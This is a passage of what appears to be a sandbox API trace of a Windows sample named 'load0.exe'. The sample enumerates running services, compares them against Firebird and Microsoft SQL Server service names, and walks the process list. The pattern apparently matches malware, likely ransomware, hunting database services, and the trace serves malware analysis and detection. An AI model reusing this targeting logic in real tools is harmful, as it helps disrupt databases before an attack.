lpString2="NcbService") returned -1 [0279.807] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0279.807] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0279.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0279.808] lstrlenW (lpString="netprofm") returned 8 [0279.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0279.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0279.808] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0279.808] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0279.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0279.808] lstrlenW (lpString="NgcSvc") returned 6 [0279.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0279.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0279.808] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0279.808] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0279.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0279.808] lstrlenW (lpString="NlaSvc") returned 6 [0279.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0279.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0279.808] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0279.808] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0279.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0279.808] lstrlenW (lpString="nsi") returned 3 [0279.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0279.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0279.808] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0279.808] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0279.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0279.808] lstrlenW (lpString="PcaSvc") returned 6 [0279.808] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0279.808] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0279.808] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0279.808] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0279.808] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0279.808] lstrlenW (lpString="PlugPlay") returned 8 [0279.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0279.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0279.809] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0279.809] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0279.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0279.809] lstrlenW (lpString="Power") returned 5 [0279.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0279.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0279.809] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0279.809] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0279.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0279.809] lstrlenW (lpString="ProfSvc") returned 7 [0279.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0279.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0279.809] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0279.809] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0279.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0279.809] lstrlenW (lpString="RpcEptMapper") returned 12 [0279.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0279.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0279.809] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0279.809] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0279.809] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0279.809] lstrlenW (lpString="RpcSs") returned 5 [0279.809] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0279.809] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0279.809] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0279.809] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0279.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0279.810] lstrlenW (lpString="SamSs") returned 5 [0279.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0279.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0279.810] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0279.810] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0279.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0279.810] lstrlenW (lpString="Schedule") returned 8 [0279.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0279.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0279.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0279.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0279.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0279.810] lstrlenW (lpString="SecurityHealthService") returned 21 [0279.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0279.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0279.810] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0279.810] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0279.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0279.810] lstrlenW (lpString="SENS") returned 4 [0279.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0279.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0279.810] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0279.810] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0279.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0279.810] lstrlenW (lpString="ShellHWDetection") returned 16 [0279.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0279.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0279.810] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0279.810] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0279.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0279.811] lstrlenW (lpString="Spooler") returned 7 [0279.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0279.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0279.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0279.983] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0279.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0279.983] lstrlenW (lpString="StateRepository") returned 15 [0279.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0279.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0279.983] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0279.983] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0279.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0279.983] lstrlenW (lpString="SysMain") returned 7 [0279.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0279.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0279.984] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0279.984] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0279.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0279.984] lstrlenW (lpString="SystemEventsBroker") returned 18 [0279.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0279.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0279.984] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0279.984] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0279.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0279.984] lstrlenW (lpString="Themes") returned 6 [0279.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0279.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0279.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0279.984] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0279.984] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3240080 | out: hHeap=0x630000) returned 1 [0279.984] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1160 [0279.990] Process32FirstW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0279.991] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0279.992] lstrlenW (lpString="System") returned 6 [0279.992] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0279.993] lstrlenW (lpString="smss.exe") returned 8 [0279.993] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.994] lstrlenW (lpString="csrss.exe") returned 9 [0279.994] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0279.995] lstrlenW (lpString="wininit.exe") returned 11 [0279.995] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0279.996] lstrlenW (lpString="csrss.exe") returned 9 [0279.996] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0279.997] lstrlenW (lpString="winlogon.exe") returned 12 [0279.997] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0279.998] lstrlenW (lpString="services.exe") returned 12 [0279.998] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0279.999] lstrlenW (lpString="lsass.exe") returned 9 [0279.999] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0280.000] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0280.000] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0280.001] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0280.001] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.002] lstrlenW (lpString="svchost.exe") returned 11 [0280.002] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.003] lstrlenW (lpString="svchost.exe") returned 11 [0280.003] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0280.004] lstrlenW (lpString="dwm.exe") returned 7 [0280.004] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.005] lstrlenW (lpString="svchost.exe") returned 11 [0280.005] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.006] lstrlenW (lpString="svchost.exe") returned 11 [0280.006] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.008] lstrlenW (lpString="svchost.exe") returned 11 [0280.008] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.009] lstrlenW (lpString="svchost.exe") returned 11 [0280.009] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.010] lstrlenW (lpString="svchost.exe") returned 11 [0280.010] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.011] lstrlenW (lpString="svchost.exe") returned 11 [0280.011] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.012] lstrlenW (lpString="svchost.exe") returned 11 [0280.012] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.012] lstrlenW (lpString="svchost.exe") returned 11 [0280.013] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.013] lstrlenW (lpString="svchost.exe") returned 11 [0280.013] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.014] lstrlenW (lpString="svchost.exe") returned 11 [0280.014] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0280.015] lstrlenW (lpString="spoolsv.exe") returned 11 [0280.015] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.187] lstrlenW (lpString="svchost.exe") returned 11 [0280.187] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0280.188] lstrlenW (lpString="audiodg.exe") returned 11 [0280.188] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0280.189] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0280.189] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0280.190] lstrlenW (lpString="Memory Compression") returned 18 [0280.190] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0280.191] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0280.191] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0280.192] lstrlenW (lpString="sihost.exe") returned 10 [0280.192] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0280.193] lstrlenW (lpString="svchost.exe") returned 11 [0280.193] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0280.194] lstrlenW (lpString="taskhostw.exe") returned 13 [0280.195] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0280.195] lstrlenW (lpString="msoia.exe") returned 9 [0280.196] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0280.197] lstrlenW (lpString="explorer.exe") returned 12 [0280.197] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0280.198] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0280.198] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0280.199] lstrlenW (lpString="SearchUI.exe") returned 12 [0280.199] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0280.200] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0280.200] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0280.201] lstrlenW (lpString="load0.exe") returned 9 [0280.201] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0280.210] lstrlenW (lpString="load0.exe") returned 9 [0280.211] Process32NextW (in: hSnapshot=0x1160, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0280.211] CloseHandle (hObject=0x1160) returned 1 [0280.212] Sleep (dwMilliseconds=0x1f4) [0281.044] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f646e0 [0281.044] EnumServicesStatusExW (in: hSCManager=0x3f646e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0281.045] GetLastError () returned 0xea [0281.045] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1cb6) returned 0x3240080 [0281.045] EnumServicesStatusExW (in: hSCManager=0x3f646e0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3240080, cbBufSize=0x1cb6, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3240080, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0281.046] CloseServiceHandle (hSCObject=0x3f646e0) returned 1 [0281.046] lstrlenW (lpString="Appinfo") returned 7 [0281.046] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0281.046] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0281.047] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0281.047] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 